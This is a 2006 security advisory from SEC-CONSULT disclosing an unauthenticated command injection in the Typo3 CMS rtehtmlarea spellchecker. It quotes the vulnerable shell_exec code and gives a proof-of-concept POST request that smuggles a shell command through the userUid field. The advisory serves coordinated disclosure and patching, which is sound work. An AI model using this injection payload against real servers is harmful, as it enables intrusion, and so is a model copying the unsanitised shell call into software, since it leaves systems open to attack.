SEC-CONSULT Security Advisory < 20061220-0> ======================================================================= title: Remote Command Execution in Typo3 program: Typo3 Content Management System vulnerable version: 4.0.0 - 4.0.3 3.7 and 3.8 with rtehtmlarea extension 4.1beta impact: critical homepage: http://www.typo3.com found: 2006-11-21 by: D. Fabian / SEC-CONSULT / www.sec-consult.com J. Greil / SEC-CONSULT / www.sec-consult.com permanent link: http://www.sec-consult.com/272.html ======================================================================= vendor description: --------------- TYPO3 is a free Open Source content management system for enterprise purposes on the web and in intranets. It offers full flexibility and extendability while featuring an accomplished set of ready-made interfaces, functions and modules. [Source: http://www.typo3.com] vulnerability overview: --------------- In version 4.0 and above, Typo3 includes a sysext named rtehtmlarea. The extension can optionally also be installed on Typo3 versions below 4.0. This RTE HTML Editor allows spell checking, for which it uses the command line tool 'aspell'. When this program is called, unvalidated user input is used as argument to the system call. Login to the backend is /not/ required to exploit this vulnerability. This allows an attacker to execute arbitrary commands on the target system. vulnerability details: --------------- The affected script resides in /typo3/sysext/rtehtmlarea/htmlarea/ plugins/SpellChecker/spell-check-logic.php which calls the vulnerable script /typo3/sysext/rtehtmlarea/pi1/class.tx_rtehtmlarea_pi1.php. It requires a GET parameter id with the pageid of an existing page. When the POST parameter cmd is set to learn, the parameter userUid is not validated and can be used by an attacker to inject code. Here is the vulnerable code (line 208): --- code --- $AspellCommand = 'cat ' . $tmpFileName . ' | ' . $this->AspellDirectory . ' -a --mode=none' . $this->personalDictsArg . ' --lang=' . $this->dictionary . ' --encoding=' . $this->parserCharset . ' 2>&1'; print $AspellCommand . "n"; print shell_exec($AspellCommand); --- /code --- There seems to be a second command execution vulnerability in the same file in line 365. It is left as a task to the reader to exploit that flaw. For typo3 versions < 4.0, the rtehtmlarea extension is probably located at /typo3/ext. proof of concept: --------------- Here is a sample POST request that writes a file 'shell.txt' into /tmp: --- post request --- POST /typo3/sysext/rtehtmlarea/htmlarea/plugins/SpellChecker/spell- check-logic.php?id=1 HTTP/1.1 Host: www.typo3host.abc User-Agent: none Content-Type: application/x-www-form-urlencoded Content-Length: 111 psell_mode=fast&to_p_dict=1&cmd=learn&userUid=test;+echo+'shell'+>+ /tmp/shell.txt+%23&enablePersonalDicts=true --- /post request --- vulnerable versions: --------------- Versions 4.0 - 4.0.3 as well as 4.1beta seem to be vulnerable to the described attack. Also vulnerable are versions 3.7 and 3.8 if the rtehtmlarea extension is installed. The issue has been resolved in version 4.0.4. vendor status: --------------- vendor notified: 2006-12-07 vendor response: 2006-12-07 patch available: 2006-12-20 coordinated disclosure: 2006-12-20 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Unternehmensberatung GmbH Office Vienna Blindengasse 3 A-1080 Wien Austria Tel.: +43 / 1 / 890 30 43 - 0 Fax.: +43 / 1 / 890 30 43 - 15 Mail: research at sec-consult dot com www.sec-consult.com EOF Daniel Fabian / @2006